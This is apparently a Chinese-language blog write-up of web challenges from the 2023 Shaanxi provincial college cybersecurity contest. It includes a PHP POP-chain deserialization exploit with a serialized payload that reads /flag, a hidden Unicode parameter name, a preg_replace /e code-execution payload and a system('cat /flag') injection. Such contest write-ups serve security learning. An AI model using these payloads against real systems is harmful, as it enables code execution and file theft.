2023年第三届陕西省大学生网络安全技能大赛 WEB WriteUp

2023年第三届陕西省大学生网络安全技能大赛 WEB WriteUp

解题思路

WEB

ezpop

f12查看app.eceb0255.js文件,找到一串疑似base64编码的字符串:

"L3BvcDNaVGdNdy5waHA=",base64解码后得到:/pop3ZTgMw.php,于是访问.

访问后很明显需要我们构造pop链来进行getshell.

这里直接放exp了:

<?php
class night
{
 public $night;
}

class day
{
    public $day;
}

class light
{
    public $light;
}
class dark
{
    public $dark;
}
$a=new night();
$a -> night=new day();
$a -> night ->day=new dark();
$a ->night ->day -> dark=new light();
$a -> night ->day ->dark -> light=new day();
$a ->night ->day ->dark ->light->day=new dark();
$a ->night ->day ->dark ->light->day->dark='php://filter/convert.base64-encode/resource=/flag';
//用filter伪协议读取来绕过hacked的过滤
$b=array($a,0); 
//利用phpGC垃圾回收机制绕过throw new Exception
echo serialize($b);
?>

看出pop链子不难,真构造需要注意几点:

(1)这里我们要想调用night类中的__destruct函数,就需要我们绕过下面的那个throw new Exception('seino');这个报错,所以我们采用Php的GC垃圾回收机制来绕过(可自行百度).

然后得到

a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}i:1;i:0;}

注意这里需要我们把i:1改成i:0,这样才能触发GC回收机制。

然后就是抓包然后传参,一开始我以POST传了个pop上去,没反应

然后把整段代码放在vscode中查看,发现暗藏乾坤啊:

传的参数既然不是表面上看的那样,真的阴险!

这个就需要url编码一下再传了:

直接在vscode上写代码,然后得到。

%E2%80%AE%E2%81%A6%E5%BF%AB%E7%BB%99%E6%88%91%E4%BC%A0%E5%8F%82%E2%81%A9%E2%81%A6pop

完整的payload:%E2%80%AE%E2%81%A6%E5%BF%AB%E7%BB%99%E6%88%91%E4%BC%A0%E5%8F%82%E2%81%A9%E2%81%A6pop=a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}i:0;i:0;}

ezrce

谁便输入一个key,得到源码。

分析一下,发现这里的preg_replace函数是/e模式,这里存在一个/e模式下命令执行漏洞,然后我们可以控制qaq和name,那么就先试试。

POST传入:name=hahaha&qaq=phpinfo()

回显phpinfo,那么证明可以执行命令,但是这里有waf,试了一下,平常的自增,异或,取反都不能,那么很自然的就想到了无参数rce。

于是构造payload:

POST:name=hahaha&qaq=show_source(session_id(session_start()));
请求头:Cookie: PHPSESSID=?flag

unserialize

非预期:

直接传参:?a=system%20('cat /flag');

posted @ 2023-06-04 08:04  gxngxngxn  阅读(260)  评论(0编辑  收藏  举报